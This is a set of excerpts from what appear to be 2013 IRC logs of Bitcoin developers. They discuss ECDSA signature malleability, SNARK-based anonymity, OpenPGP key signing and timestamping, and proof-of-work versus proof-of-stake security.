14:26 < gmaxwell> 74.63 right now. Smalleast hash so far is 000000000000000000028c32e6952731326747bae4be8db0f832d6eea0362050
14:26 < eristisk> Right, you'd have to have widespread miner collusion to consistently publish or backhandedly share the data in order to get all data. The other important part you brought up is something I'd personally like to see in Bitcoin (and other "complete blockchain" altcoins) itself anyway, which is encrypted commitments.
14:28 < gmaxwell> eristisk: well, there are ways to construct this stuff so that its anonymous even against miners. Doing so has pratical engineering challenges today, but they're solvable. It also has significant political challenges.
14:28 < gmaxwell> But perhaps the point I'm making eases the political challenges: anonymity is pretty much a mandatory outcome of optimal efficiency.
14:29 < iddo_> politicians care about efficiency ? :)
14:29 < zooko> Uh, did you just say "spherical cryptography" ?
14:29 < zooko> What's that?
14:30 < zooko> Oh, someone already asked.
14:30 < eristisk> It could be argued that there is space enough for a model as Bitcoin exists today (accelerating technological burdens of the large distributed data set notwithstanding) as well as an altcoin which successfully implements fully encrypted transport streams between nodes as well as transactionless blockchains as you are speaking of.
14:31 < gmaxwell> like a spherical cow, sorry. :) I just am talking about the theoretical asymptotic efficiency. The pratical implementations of the required tools are not there yet.
14:31 < gmaxwell> eristisk: money likes a monopoly.
14:31 < eristisk> More like: people like a money monopoly :P
14:32 < gmaxwell> And confidence in cryptocurrencies probably depends on a reasonably high degree of stickyness. "Why do I want your foo coins when next year bar coins will be the new hotness?"
14:33 < iddo_> thing about zerocoin is that CRS is exactly the kind of thing that people who are attracted to zerocoin don't like... i already see thread on that http://www.reddit.com/r/ZeroCoin/comments/1rxwvh/zerocoin_has_a_master_key/
14:33 < gmaxwell> So yea, sure alternatives can and will exist... but I suspect that in enough time, as the engineering tradeoffs mature and stop being tradeoffs anymore it will just become a no-brainer to do thing like use snarks to compress bitcoin... and at the limit you end up making it anonymous even if that wasn't your goal.
14:33 < gmaxwell> iddo_: yea the CRS stuff is ... not good. But it's not fundimental.
14:34 < gmaxwell> we know from theoretical work that publically verifyable non-CRS sub-linear communication cost SNARKs can exist.
14:35 < iddo_> yes:)
14:35 < eristisk> Ah I see. Well, encrypted commitments could be added to Bitcoin with reasonably smaller fundamental changes in comparison to rewriting the protocol spec to remove transactions from the blockchain data. I get your point about "selling" it under the premise of solving the spiralling problem of storing such an increasingly massive distributed dataset whilst
simultaneously arriving at a more...
23:42 < amiller> the thing is businesses benefit from this social awareness that all businesses are safe because they're regulated
23:42 <@gmaxwell> E.g. for a centeralized system you can point at all these RISKS that the regulations stop, ... and that there are reasons that the regulation is inexpensive.
23:42 < amiller> it's like a license to cater to stupid consumers
23:43 < amiller> decentralized means you're really on your own and don't expect a court to sort out your problems
23:43 < petertodd> depends on the model, the silk road benifits from the awareness that it isn't and isn't going to get shutdown on a whim
23:43 <@gmaxwell> petertodd: It means something, not in and of itself, but it means that people we might have expected to do otherwise didn't.
23:43 < amiller> ripple.com seems to be advocating the worst of all possible worlds
23:43 < petertodd> gmaxwell: FinCEN trying to fight bitcoin head on, and early, would have been *better* imo.
23:43 < amiller> by recommending that you join the system by "HIRING" a gateway "BUSINESS" to "trust" you
23:44 <@gmaxwell> amiller: in general this plays into the thinking I've been having lately about how our systems should try to minimize the best case and the worst case, regardless of their average case.
23:44 <@gmaxwell> E.g. if we can't prevent an attack almost completely
we should make it trivial and automatic. No surprises.
23:44 < amiller> where you trust in the gateway is predicated on their contracts being enforceable by STATE LAWS which by the way no one expects to pay for because w/e
23:44 < amiller> gmaxwell, yeah better encourage the smaller attacks to happen right away
23:44 < amiller> fail fast fail early fail often?
23:44 < amiller> fail small
23:44 < petertodd> gmaxwell: indeed that's actually a big failing of the idea of fidelity bonded banking running on secure hardware you know
23:45 < petertodd> gmaxwell: fidelity bonds are going to be very, very, very tricky to get right, and the hardware lets you punt an issue that you probably shouldn't
23:45 < amiller> social collateral isn't free
23:45 <@gmaxwell> Not just right now
but it's a line of thinking about how people relate to each other. I think there is evidence that people can prosper under many kinds of system for making agreements
but whats important is that you can know what you're actually buying into.
23:45 < amiller> the fact that it seems scary and unusual to make formal relationships with friends where relationships can get hurt and damaged... that fear / discomfort you feel is how you know it's working
23:46 < petertodd> The rate of huge hacks hasn't changed much, yet the community seems to panic less on each one...
23:46 <@gmaxwell> E.g. if a kind of transaction is only 90% safe, I think people are better off if it's 0% safe. Because the 10% oh-fuck-I-got-ripped-off is 110% of the cost of it being completely unsafe.
23:47 <@gmaxwell> I boggle at the hash, ozcoin has been throughly hacked three times now. Slush 2.5 times. I don't see any evidence of either changing their business practices or the users really caring much.
23:48 < petertodd> but what exactly have their users lost anyway?
23:48 < petertodd> specifically, how much compared to the profits?
23:48 <@gmaxwell> In the case of ozcoin people are actually out money now. But indeed "easy come, easy go"
23:48 <@gmaxwell> I think the ops don't care much because they're mostly gambling with other people's money and what money of their own they lose was too easily won, and perhaps that applies to the users too.
23:49 < petertodd> no-one is getting sued for being a negligent op
23:49 < amiller> something that's funny to me is just how little of the ecommerce problem that bitcoin solves
23:49 < amiller> the silk road is a perfect example
23:49 < petertodd> which is sad when better software, multisig, multiple implementations etc. can make attacks orders of magnitude harder
23:50 < petertodd> what do you see as flawed in the silk road?
23:50 < amiller> it's a centralized script kiddie php/mysql database
23:50 <@gmaxwell> Seems like zero interest. The only pool security innovation that I'm aware of is eligius' coinbase payments, which were not created for security purposes initally (Luke's goal was to avoid running afoul of regulations by not handling third parties money)
23:50 < amiller> its' the weak link in a chain of two properly (sorta) decentralized miracle systems
23:50 < petertodd> amiller: with a damn good record in practice, and the central wallet is essential to privacy
23:51 <@gmaxwell> Well, I think SR does okay considering that people with high competence have many reasons to avoid it.
23:51 < amiller> essential - no.... damn good record... sure, and of course it gets first mover advantage and a ton of novelty
23:51 <@gmaxwell> petertodd: they have managed to disclose their IP .. twice.
23:51 < amiller> there's no better alternative i guess
23:51 < amiller> also bitcoin-otc is awesome and yet decentralized
23:51 < petertodd> gmaxwell: are you sure they actually disclosed their IP? with sites like that misdirect is good
23:51 < amiller> i want to see the real black market in my lifetime!!!
23:51 <@gmaxwell> well lemon market in any case.
23:52 < petertodd> silk road and it's ilk have the unique problem where competitors might be LEA honeypots
23:52 < amiller> ripple/^H^H^H^ excuse me social collateral solves a much larger problem than just bitcoin too
23:52 <@gmaxwell> petertodd: it's possible but I think pretty unlikely that it was a misdirection. (in particular, in one case the site was also accepting connections from the public internet ... and based on latency... it wasn't just a tor gateway to it)
23:52 < amiller> the quantities you formally transact with don't just have to be about currency trades it can be about shipments etc
23:53 < petertodd> amiller: thinking social collateral solves problems usually discounts the very real cost of thinking about social collateral
23:53 < amiller> thus it generalizes bitcoin, bitcoin-otc, and yes the silk road
23:53 < amiller> shit changes yo
23:53 < amiller> i thought i'd never see an irc room full of people checking each other's gpg keys
23:53 < amiller> gmaxwell informed me at one point that they still get scmamed constantly on bitcoin-otc because of... well not checking each others gpg keys
23:54 < petertodd> gmaxwell: absent evidence that they've actually been caught it may not mean much. Anyway, their IP is just as likely a VPS under a fake name.
23:54 < amiller> so maybe i have rose colored or purple-green trippy glasses or w/e but still
23:54 < petertodd> amiller: bitcoin-otc has a central database with no way to avoid trusting it - ugly
23:54 < petertodd> amiller: it's a nice hack, but it's so far from a good solution
23:54 <@gmaxwell> nanotube wants to fix the database issue, there is a whole irc channel for people nattering about that.
23:55 < amiller> totally that's why the future-bitcoin-that's-not-just-silly-gold will be largely about maintaining a decentralized reputation ledger!
23:55 < petertodd> good, -otc needs to be passing around actual bits of signed data, which sadly probably means a pile of custom software
23:55 < amiller> that's the sort of thing we should be figuring out how to encode in some kind of scripting language and figure out how to pay for with fees that make sense
23:55 <@gmaxwell> The data in that database is pairwise in any case, the way I recommend people use it is that they use it as a directory to find people they know that know the potential trader.
23:55 <@gmaxwell> so all the database could really do is DOS.
23:55 < amiller> the point is people are using it - it's a proof of concept that the social / too-hard-to-think-about problems can be overcome
23:56 < amiller> there's interest, people adapt
23:56 < petertodd> yes, which really gets down to how -otc is more about just bringing people together in a chat room, the ratings system isn't as important as you'd think
23:56 <@gmaxwell> The ratings system actually turns out to be .. well more useful than I expected and I am generally a dyed-in-the-wool reputation system hater.
23:57 <@gmaxwell> Though I guess that also means my expectations were low. :)
23:57 < amiller> the magic-database-in-the-sky is the revolutionary new technology of the decade :3
23:57 < petertodd> well, I've used -otc mainly to co-ordinate local trades, so there's a lot more going on than some PGP-based rating there
23:58 < amiller> i gave a guy a 2 when i should have given him a -1
23:58 < amiller> i feel really bad about it
23:58 <@gmaxwell> 0_o
23:59 <@gmaxwell> I'm pretty stingy with ratings, also the rating system has been good for me to consider my operational practices. E.g. I realized there were people that I was not willing to rate highly but I'd run code from them they'd given to me without auditing it. (and vice versa)
--- Log closed Thu Apr 25 00:00:11 2013
--- Log opened Thu Apr 25 00:00:11 2013
--- Day changed Thu Apr 25 2013
00:00 < petertodd> heh, as inflammatory as it was I kinda liked jdillons point about how he trusts Mike with all the coins on his android wallet
00:01 <@gmaxwell> Yea, esp since android has silent push updates.
00:01 <@gmaxwell> You guys see the ozcoin / strongcoin drama?
00:02 < petertodd> also interesting to consider how the strongcoin 'coin movement' would be trivial to do on an off-chain tx system, yet at the same time with fraud proofs implemented doing so could be suicide (absent the still present client software vulnerabilities)
00:03 < petertodd> strongcoin got away with it, to the extent they have anyway, because humans are in the fraud detection loop
00:03 < petertodd> a regulatory issue too: "Um, you see if I return the funds this source code is going to declare me a fraudster and my clients will instantly stop using my service..."
12:51 < adam3us> cant say i like that direction very much - dsa itself is devoid enough of security proofs, and how do we prove the signature is immutable (once the encoding and known mutations are addressed) - it a novel security assumption that the mathematical crypto guys have not spent the last decade+ thinking about unlike basic dsa or schnorr
12:53 < gmaxwell> adam3us: it's just software engineering. How do you know your buffers don't overflow. :)
12:54 < gmaxwell> oh you mean just inside DSA. point.
12:54 < adam3us> yes dsa mathematical assurance
12:54 < adam3us> i do buy your rigid non openssl based deterministic encode/decode argument
12:54 < gmaxwell> It's worse because if you give me a discrete log solving oracle I know I can give you infinite signatures.
12:55 < gmaxwell> but I don't know that I can reduce it to that being sufficient, almost certantly not since DSA itself has no such reduction.
12:55 < adam3us> i am for example thinking of a DSA attack i made on a server compute offload system for DSA by markus jakobsson
12:56 < adam3us> it was surprisingly malleable
12:56 < adam3us> despite the unknown k^-1 values
12:56 < adam3us> (slightly different situation, but...)
12:57 < gmaxwell> There are other signing algorithims which I except would be easiy to prove where unique. E.g. I think a pairing short signature only has one signature just on information theoretic grounds... no such joy for DSA.
12:58 < adam3us> do you mean weil pairing based? zss? i wouldnt touch it with a barge pole ;)
12:59 < adam3us> weil pairing is too new, people are finding special curves to be avoided, fresh news now and then so i am scared of the parameter choices, people maybe making bad ones that'll get mathemtically broken presently
12:59 < adam3us> but yes non-malleability would be nice
13:00 < adam3us> i think schnorr is otherwise a rather nice signature scheme as its more flexible for eg k of n threshold, brands style boolean formulae, limited show even
13:01 < adam3us> limited show is very nice - you can force the signer to make one signature only ever on a given document (on pain of disclosing his private key via simultaneous equation)
13:02 < adam3us> of course disclosing private keys is less critical than usual in bitcoin as you only have to get there first, subsequent signatures are ignored
13:02 < gmaxwell> and because your private key has low value or at least can have low value.
13:03 < gmaxwell> since our privacy requires that you can have more for free. :)
13:03 < adam3us> eg re weil paring dangers, http://ellipticnews.wordpress.com/2013/05/22/joux-kills-pairings-in-characteristic-2/
13:03 < gmaxwell> adam3us: Yea, well, I wasn't recommending it, but just saying... :) It's not so bad with curves though, I mean, most of the stuff being broken is the low embedding degree stuff that was known to be not a great idea.
13:03 < adam3us> he pretty much destroyed some parameters that people actually proposed not that long ago
13:04 < gmaxwell> adam3us: yea, but you can find publications eons ago about characteristic 2 being weak... ::shrugs::
13:05 < adam3us> the danger is this isnt the end of the story we dont know how far new mathemtical attacks go towards currently considered secure parameters
13:05 < adam3us> anyway kind of a tangent :)
13:05 < adam3us> what are the known mathematical mutabilities? is r,-s it?
13:05 < gmaxwell> Sure. though, as you noted
DSA is not provable secure in the standard model. :)
13:06 < gmaxwell> adam3us: r,-s is the only mathmatical one I know of.
13:06 < adam3us> yes and in that sense the best we can do is use old conservative assumptions that are secure in the sense only that no one broke them yet
13:07 < gmaxwell> My confidence in that class of assumption goes down every day. :)
13:07 < gmaxwell> (there are a lot of weaknesses we've fixed in bitcoin that could easily have been exploited
even profitably in some cases
but just no one did!)
13:08 < adam3us> maybe the interest would go up if we had zerocoin levels of privacy
13:08 < gmaxwell> e.g. I don't think anyone has used the r,-s malleability yet, they've used DER encoding ones.. confusingly one is where you code s as a _negative number_ e.g. not the same as -s mod order but just a sign bit that openssl ignores.
13:09 < gmaxwell> adam3us: I think that part of it is that if the attacks are sophicated, the people smart enough to pull them off can find better things to do with their time that they can still brag about. :P but who knows.
13:12 < adam3us> i think mostly that is true, though there are a few grey hats i've come across with the "if its broken it deserves to be exploited" mentality, that they seem to deeply internalize and see no moral problems with
13:14 < gmaxwell> Yea, but even those can find more interesting things to do, I think? Dunno I'm waving my arms, I can only say that I've observed a lot of stuff not getting exploited.
13:15 < gmaxwell> E.g. there is a lot of people using unconfirmed txn that would be jammed up by someone just making mutants in order to jam things up.. and no one seems to be doing that _generally_, only against satoshi dice, and I dunno if thats happening anymore.
13:19 < adam3us> maybe the bets are too smal
13:19 < adam3us> ok i think i have a mathematical argument for you;)
13:20 < adam3us> if (r,s) is a signature, then so is (2r,2^-1s) because that is (r',s') = dsa with k replaced with k'=2k which you can do even though you dont know k
13:21 < adam3us> and you can replace 2 with any invertible number in the range of n
13:21 < adam3us> so there are probably 2n or thereabout possible mutations
13:21 < sipa> with n = ?
13:22 < adam3us> order of curve
13:22 < sipa> ouch
13:22 < gmaxwell> I was trying to think about that before and thought there was some issue with it because Xr may not even be on the curve.
13:22 < adam3us> i think it works because (r,s)=([-kG]x,k^-1(H(m)+rd)
13:23 < adam3us> sorry that should be (r,s)=([kG]x,k^-1(H(m)+rd)
13:23 < sipa> gmaxwell: even if now, justbelow 2^255 values are
13:23 < sipa> so the odds of hittinga valid r are almost 50%
13:24 < gmaxwell> easy enough to try.
13:24 < adam3us> so (r',s')=([kG+kG]x,2^-1*k^-1(H(m+rd)
13:24 < sipa> this sounds like malleability is unsolvable?
13:24 < adam3us> eek not quite.. internal r
13:24 < adam3us> retract
13:25 < gmaxwell> yea, I don't think this is true.
13:25 < adam3us> (let me try some more tinkering)
13:25 < gmaxwell> If its true we just broke DSA
13:26 < gmaxwell> because we would have created a way of recovering K that looks like a collision search on a K multiple sequence, like how you solve the discrete log.
13:26 < adam3us> well not necessarily because you can only create a new signature of a known value (except that you cant so far othe than (r,-s)
13:27 < adam3us> i'm not sure about that... some of the other DL algorithms are reblindable or whatever you call it
13:27 < adam3us> eg elgamal
13:27 < adam3us> thats a related encryption algorithm version of near infinite mutuability
13:37 < gmaxwell> I don't think this works because the order is prime. But I'm in a meeting right now and haven't been able to just try it.
13:45 < adam3us> I think the EC version of elgamal will still be publicly reblindable
13:49 < adam3us> another interesting question would be if you have (r,s) and (r',s') two different signatures with different k values but on the same H(m) can you create a third signature (r",s") (ignoring the (r,-s) approach)
13:51 < gmaxwell> well I don't mind create two different signatures the signers could always create infinite more.
13:51 < gmaxwell> "Don't sign the same message multiple times" is simple enough, esp if people switch to derandomized dsa. (As I think all should)
13:53 < sipa> i don't see how you could compute s"
13:53 < sipa> unless the two k values are related
13:59 < adam3us> what's your email address sipa? i'll send you an unpublished attack relating to a server offload version of DSA which shows mathematically how manipulable this is
13:59 < gmaxwell> sipa: the idea there is to blindly swap K values on a signature.
14:00 < adam3us> note i said two real signatures (diff k values) on the same H(m)... thats going to be more manipulable
14:01 < sipa> adam3us: pieter.wuille@gmail.com
14:01 < sipa> gmaxwell: hmm, i'll have to think longer about it
14:02 < gmaxwell> I'm not saying it works, but I see vaguely how it might. I'd want to just try it.
14:03 < warren> petertodd: I'm in favor of getting rid of free tx's entirely.
14:06 < adam3us> sent mail
14:07 < adam3us> who's going to bitcoin in amsterday thurs-sat?
14:08 < sipa> i'm not, this time
14:09 < adam3us> the lesson from that server aided DSA attack is knowing any relation at all about k values is usually fatal
14:09 < MoALTz> warren: one suggestion i've said in passing before is to have a new field in the block header: minimum accepted fee; the block is only valid if all the tx contained with-in have at least that fee. on it's own that doesn't seem helpful, but consider the effect: if you want to know how long a tx will take to get onto the blockchain you look back over an arbitary
number of blocks and see how many it would have made it int
14:09 < MoALTz> o (%age-wise)
14:10 < MoALTz> avoids hardcoded values too
14:11 < gmaxwell> MoALTz: people pay fees to miners in many different ways, not just tx fees.
14:11 < gmaxwell> e.g. today people will pay fees via child transactions that have high fees, or via special txouts paying a specific miner, or via external agreements.
14:12 < gmaxwell> MoALTz: so in your model miners would keep signaling 0 but then actually imposing higher fees.
14:13 < MoALTz> hmm. suggests some other contraint is needed as well
14:15 < MoALTz> for the "in-kind" payments i could see refunding the tx fee being done (coinbase). but yeah, it still needs more incentive for miners be give correct values for the mintxfee
00:40 < jgarzik> l very relevant to corruption prevention, just in different ways.
00:40 < maaku> left hand, meet right hand
00:40 < petertodd> well HP is a hollow shell of it's former self
00:41 < jgarzik> filesystems and block all go through page cache, even if write-through
00:41 < jgarzik> if you have PCI-express (PCIe) super-fast storage, even kernel page locking can become a relevant factor.
00:41 < petertodd> jgarzik: sucks that pages are so big, though for the average person 4KiB/transaction is not going to hurt you
00:42 < jgarzik> petertodd, indeed. That is one the annoying bits, for us. Our commits are likely well under 4k
00:42 < jgarzik> much less 8k
00:42 < petertodd> jgarzik: 64KiB is enough for anything right? :P
00:42 < jgarzik> ;p
00:43 < maaku> if you want to get clever, you can fill the extra space with error correction of previous writes
00:44 < petertodd> maaku: if you want to get overly clever, you would run a testnet node in parallel and also write your wallet data to the testnet blockchain
00:44 < petertodd> maaku: or maybe just a scamcoin that you don't like
00:44 < jgarzik> gmaxwell, upload the master public key to bitcoinkeyserver.net ;p
00:45 < jgarzik> gmaxwell, create a really slow, clunky mirror at bp.mit.edu
00:45 < gmaxwell> I do think supporting some kind of integrated backup system would be nice.
00:45 < gmaxwell> "we store our wallet backups encoded as fake public keys in the pgp key servers"
00:45 < jgarzik> "the cloud"
00:45 < petertodd> "the caves"
00:46 < petertodd> "the salt mines"
00:46 < maaku> jgarzik: gmaxwell: you do that, and people will start "logging into their account" on a friend's client
00:46 < petertodd> maaku: ooh, sounds useful! very 2.0!
00:46 < jgarzik> gmaxwell, heh, well, petertodd and I were discussing how SIN (an ECDSA key, after all) might look inside OpenPGP packetizing
00:46 < petertodd> maaku: can I login with my facebook account?
00:46 < jgarzik> gmaxwell, might be fun...
00:47 < gmaxwell> jgarzik: openpgp land is a little brain damaged, they'd likely just have some silly robot that sees your sin and signs for you. (see cacert's signer for an example) :(
00:47 < petertodd> gmaxwell: what's cacerts signer do exactly? sign for email identity?
00:48 < petertodd> gmaxwell: PGP runs a bot that does that
00:48 < jgarzik> gmaxwell, openpgp source code and packetization both leave a both to be desired. but ah well, it's The Standard.
00:48 < gmaxwell> petertodd: if you have two cacert certifications of your identity their robot will sign a pgp key for you, so long as the name matches exactly.
00:49 < jgarzik> everybody forks the same 1960s era codebase.
00:49 < jgarzik> I'm pretty sure OpenPGP was originally fortran, auto-translated to C
00:49 < gmaxwell> jgarzik: yea, and it covers a LOT of usecases. sometimes I get irritated and want to rewrite it, and then I remember it does a ton of stuff I don't even completely understand.
00:49 < petertodd> gmaxwell: oh, that's not so bad, though it'd be better done with a cert sig notation
00:49 < gmaxwell> "You can write fortran in any language"
00:50 < gmaxwell> petertodd: yea, it's just a sig0 user signature from some random key.
00:50 < petertodd> jgarzik: you mean the gnupg codebase?
00:50 < gmaxwell> buggers up the WOT because most things don't know to ignore it.
00:50 < petertodd> jgarzik: there's no OpenPGP codebase
00:50 < petertodd> gmaxwell: huh? all WoT tools require you to explicitly state your trust at every step, at least what I've used
00:52 < gmaxwell> petertodd: e.g. pathfinder tools will follow hops through that stupid key.
00:52 < gmaxwell> or at least some of them will.
00:54 < petertodd> gmaxwell: right, but pathfinder tools don't do what you really want anyway, because they don't let you specify anyones keys as trusted or untrusted
00:54 < gmaxwell> I know.
00:54 < petertodd> gmaxwell: equaly, they give you all the distict paths, so just pick one that doesn't use that key
00:54 < gmaxwell> I also recently realized that my own trust database is all 2#$@#@#$@ up, as well as my signature levels are all wrong.
00:55 < petertodd> Main thing is we need off-line versions of those things that use your trust settings.
00:55 < petertodd> how so?
00:55 < gmaxwell> at some point a gpg update switched me to the mode where it doesn't ask what level of verification you did, and just issues all sigs as sig0.
00:55 < petertodd> oh, you were local-signing keys?
00:56 < petertodd> likely gnupg changed because they wanted to simplify things, although IMO that's just a failing of non-existant tools to actually use the WoT
00:56 < gmaxwell> and most of my sigs are actually sig2/sig3.
00:56 < gmaxwell> and you can't change them without redoing the sigs. So now I'm probably not going to fix it until I scrap my old 1024 bit key.
00:57 < petertodd> right, because of how gnupg doesn't let you resign a key, although you can revoke the signature, minimize/clean the key to get rid of the revoked sigs, and resign, it's just not obvious
00:57 < petertodd> *obvious how
00:57 < gmaxwell> I know, but a PITA. and it will gunk up the keyservers with more signatures.
00:58 < gmaxwell> also, why the @#$@ must all your keysigning be with your master identity key?
00:58 < petertodd> the OpenPGP standard has trust signatures which let you specify a secondary key to do signing on your behalf
00:59 < gmaxwell> petertodd: yea but it looked like it would be treated as a differnet key id. E.g. I want a key which is signed by everyone, which delegates to a key signed only by it, which goes and signs everyone.
00:59 < gmaxwell> and everyone sees that as just the same as the master key signing everyone, unless I revoke the delegated key.
01:00 < petertodd> gmaxwell: I'd have to double-check, but I'm pretty sure that subkeys can have the cert bit set
01:00 < gmaxwell> gpg ui wouldn't let me do that at least. hm. that would be nice.
01:01 < petertodd> yeah, myself I just have hardware PGP keys, and keep my master key on one that I leave offline
01:01 < petertodd> my day-to-day subkey is in the second smartcard
01:01 < gmaxwell> you still need to interact with it to sign people. which is what I'd like to avoid.
01:02 < petertodd> well, done on a secure computer, esp if air-gapped, that's still pretty damn good
01:02 < gmaxwell> yea, but I update my master key once every couple years. I sign more often than that, so it should be seperate.
01:03 < petertodd> indeed, but as I say, I do think the standard supports what you want to do
01:03 < gmaxwell> cool. I'll have to give it a shot again, I only looked briefly.
01:04 < petertodd> anyway, without timestamping a lot of this stuff isn't as useful because sigs aren't trustworthy once keys are compromised
01:05 < phantomcircuit> jgarzik, in general relying on sector size writes being atomic doesn't seem like a great solution
01:05 < petertodd> IMO the more important thing for OpenPGP is to be able to know exactly when signatures were created, and be able to issue revokations as applying to after certain times
01:05 < gmaxwell> petertodd: have you thought about defining a signature packet that says "this key is timestamped" with blockheader stuff?
01:05 < petertodd> gmaxwell: yes, in fact last night I changed my GPG setup to use blockheader hashes as random beacons - only half the problem, but interesting how simple it was (uses signature notation data)
01:06 < petertodd> gmaxwell: I've looked at it carefully, and I think defining timestamping as a new signature algorithm is the right approach
01:06 < petertodd> OpenPGP already has a "this sig is a timestamp" bit
01:11 < gmaxwell> petertodd: though validating a bitcoin timestamp is not quite stateless... since you need to know some of the network.
01:12 < petertodd> gmaxwell: yeah, that'll be a first for OpenPGP
01:12 < gmaxwell> though I guess you can have a minimum difficulty... which is now almost 60 bits.
01:12 < gmaxwell> log2(267731249.48242110)+32 = 59.996
01:14 < petertodd> for validation of old sigs it's interesting how you could just ship a "official" set of block headers
01:14 < gmaxwell> well, it could be a --recv kind of thing to get the headers.
01:14 < gmaxwell> and show it as an untrusted signature if you don't have the headers or something.
01:16 < petertodd> yeah, though that's actually ignoring the bigger issue, which is that for user acceptance you have to have a way of timestamping that happens instantly or near instantly
01:17 < gmaxwell> not for key identification you don't.
01:18 < petertodd> gmaxwell: even for that people won't be happy - you need a scheme where you can upgrade the timestamp as more data is known
01:19 < petertodd> gmaxwell: one interesting idea is to put support for it into keyservers
01:20 < gmaxwell> I'd think the thing to do would be just for one of us to run it for the whole world.
01:20 < gmaxwell> just being able to get evidence that a key is as old as it claims to be is very useful once old is somewhat-old.
01:20 < gmaxwell> you might even intentionally delay publishing new timestamps since they're not useful when they've very new.
01:21 < petertodd> well, speaking of, a 1 second MMR timestamp chain is very useful there, so that timestamps *can* be made immediately
01:21 < petertodd> the problem is you want that chain to be a: reliable, and b: spam resistant, and c: still useful even if some big attacker wants to shut it down
01:30 < jgarzik> phantomcircuit, in general, relying on any generalization is unwise ;p
01:30 < phantomcircuit> jgarzik, heh
01:30 < jgarzik> phantomcircuit, the bottom line is always "know your hardware", but sadly many users fail that ;p
01:30 < phantomcircuit> jgarzik, fucking hdds do tons of random stupid shit
01:30 < jgarzik> know your hardware, and tune your software to match, I mean.
01:30 < phantomcircuit> hurr durr flying writes
01:31 < jgarzik> phantomcircuit, I think it's more the software on top in this era
22:40 < petertodd> amiller: Yeah, the meta-protocol/constitution really is then "what is the protocol for convincing other people to use my protocol/continue to use it"?
22:41 < petertodd> gmaxwell: Right, but remember I'm assuming no explicit transaction rate limits, so at some point something goes to infinity.
22:41 < petertodd> gmaxwell: Which means at some point one of the low value chains isn't secure.
22:42 < petertodd> amiller: As for incentives, I think any of these systems *must* work even if all participants are only short-term rational, and should work even if what the participants goals are varies hugely.
22:42 < petertodd> amiller: for instance we must be able to deal with data-spam with technical, rather than sociological measures
22:42 < amiller> we don't yet have a satisfactory explanation for the circular value argument of currency tokens as money
22:43 < amiller> the appeal of the commodity value money is that it starts somewhere
22:43 < amiller> here the simplest explanation is you can use the money to pay tx fees
22:43 < petertodd> amiller: sure we do, Rai stones are heavy!
22:43 < amiller> that just shows that there's a social demand/benefit for some mechanism of exchange
22:43 < amiller> it doesn't actually help you design an optimal system
22:44 < amiller> we're still making models of gold at this point
22:44 < petertodd> amiller: I think the more interesting question is what happens as tx fees rise/how much are people willing to pay for security?
22:44 < amiller> they're valuable because you can bribe miners with them and you can bribe miners with them because htey're valuable
22:45 < amiller> yeah there's that whole paying-for-system-security-is-eveyrone-else's-problem
22:45 < petertodd> proof-of-work is ugly because the total cost of the work needs to be some small % of the total value of the system, but in Bitcoin that means destroying it costs a small % of the total value of the system... systems incorporating proof-of-stake could in theory be better, requiring up to the total value of the system to destroy, but it's unclear how to actually build them
22:45 < amiller> yeah i agree with that
22:45 < gmaxwell> #include <unworkability_of_pos.h>
22:46 < petertodd> gmaxwell: I'm actually thinking that proof-of-stake can be used in conjunction with proof-of-work, especially if you have a jam-free network available
22:46 < amiller> my intuition is that there's a great theorem in here somewhere that you *have* to burn something of *objective* value, i.e., computational energy, in order to defend against an anonymous attacker
22:47 < gmaxwell> amiller: I agree.
22:47 < petertodd> gmaxwell: *relatively high bandwidth jam-free network
22:47 < amiller> if you have a proof of stake then it's a guarantee that there's a trusted party lurking somewhere
22:47 < gmaxwell> petertodd: yes, also, make me god of the universe and all this can work too... lots of things are easy when you can just pick preconditions. :)
22:47 < petertodd> amiller: Yes, but can we divise a system where you burn computational energy from the past, or *must* it be computational energy you burn *now*?
22:48 < amiller> i think it can't be from the past i think it has to be a present decision where you have the option of not burning it but benefiting it
22:48 < petertodd> amiller: Because if it can be computational energy you burn in the past, you can defeat 51% attackers by sacrificing your own coins in opposition.
22:48 < gmaxwell> petertodd: only if you have a perfect system for accounting for stored value, which we don't have as we're trying to build one.
22:48 < petertodd> amiller: IE replace-by-fee scorched earth applied to whole blockchains
22:48 < amiller> yeah you can sacrifice your own current coins by buying hashpower now
22:48 < gmaxwell> and yea, the works too.
22:49 < gmaxwell> thus checkpoints-in-txn-that-gate-fees.
22:49 < petertodd> gmaxwell: Yes, the chicken-and-egg problem is ugly but... with a infinite bandwidth jam-free network it certainely could be done, as you'd always know what coins got sacrificed by the defenders.
22:49 < petertodd> amiller: yes, but that's slow
22:49 < amiller> no it isn't?
22:49 < amiller> it's immediate
22:49 < gmaxwell> petertodd: Also works if you first covert me into a computer program, then convert all mass in the solar system for me to run on, and then upload everyone else into me. I promise. It'll be great.
22:49 < petertodd> amiller: It'd take at least a month or two to defend bitcoin from a 51% attacker by buying hashing power - factories have leadtimes.
22:50 < amiller> you don't defend against a 51% attacker, you prevent a 51% attacker from existing
22:50 < gmaxwell> petertodd: transaction fees with checkpoint-in-txn are buying hashing power instantly. people constantly buying hashing power to get mined is the protection.
22:50 < gmaxwell> what amiller said.
22:51 < amiller> since you don't control the attacker, you have to go fundsraising and bulk up the size of the network
22:51 < amiller> by offering free candy and big prizes for participants
22:51 < petertodd> amiller: 51% attackers come in a few types: those who have the majority of hashing power capacity, those who can temporarily obtain more, and those who have enough to rewrite the whole chain.
22:51 < gmaxwell> I wish pos would work, but like amiller I suspect that its deeply impossible. Sure you can make it work if you have jamfree communication between all parties. I don't think thats possible, however... because it would have to be infinite bandwidth.
22:52 < petertodd> amiller: We're best off if we can reduce the pow effort to the point where someone launches a 51% attack, they get stopped, and then the community responds by buying more physical hashing power.
22:52 < petertodd> amiller: Right now on the other hand we're flying blind and have no idea if we have enough - we're just hoping to god that an attack doesn't happen.
22:52 < amiller> you never have an idea if you have enough
22:52 < amiller> how much money should we spend on defense against aliens
22:52 < gmaxwell> ^ I certantly agree with that concern. We have no way to set the price, security is a lemon market.
22:52 < amiller> or on the military generally
22:53 < petertodd> amiller: Yes, and that's really inefficient! You want an attack to not be an end-the-world scenario, that is, you should be able to burn value to temporarily stop it.
22:53 < gmaxwell> worse, a viable strategy for an attacker is to try to convince you that you don't need so much security.
22:53 < petertodd> gmaxwell: that too
22:53 < amiller> any money spent on military that's sucecssful as a deterrent appears as a waste because the attacker didn't hsow up
22:54 < petertodd> There's probably nothing we can really do (fully decentralized) that can stop a "rewrite the whole chian" attacker, but against the "has the majority of hashing power" and "temporarily rents a majority" we can probably succeed.
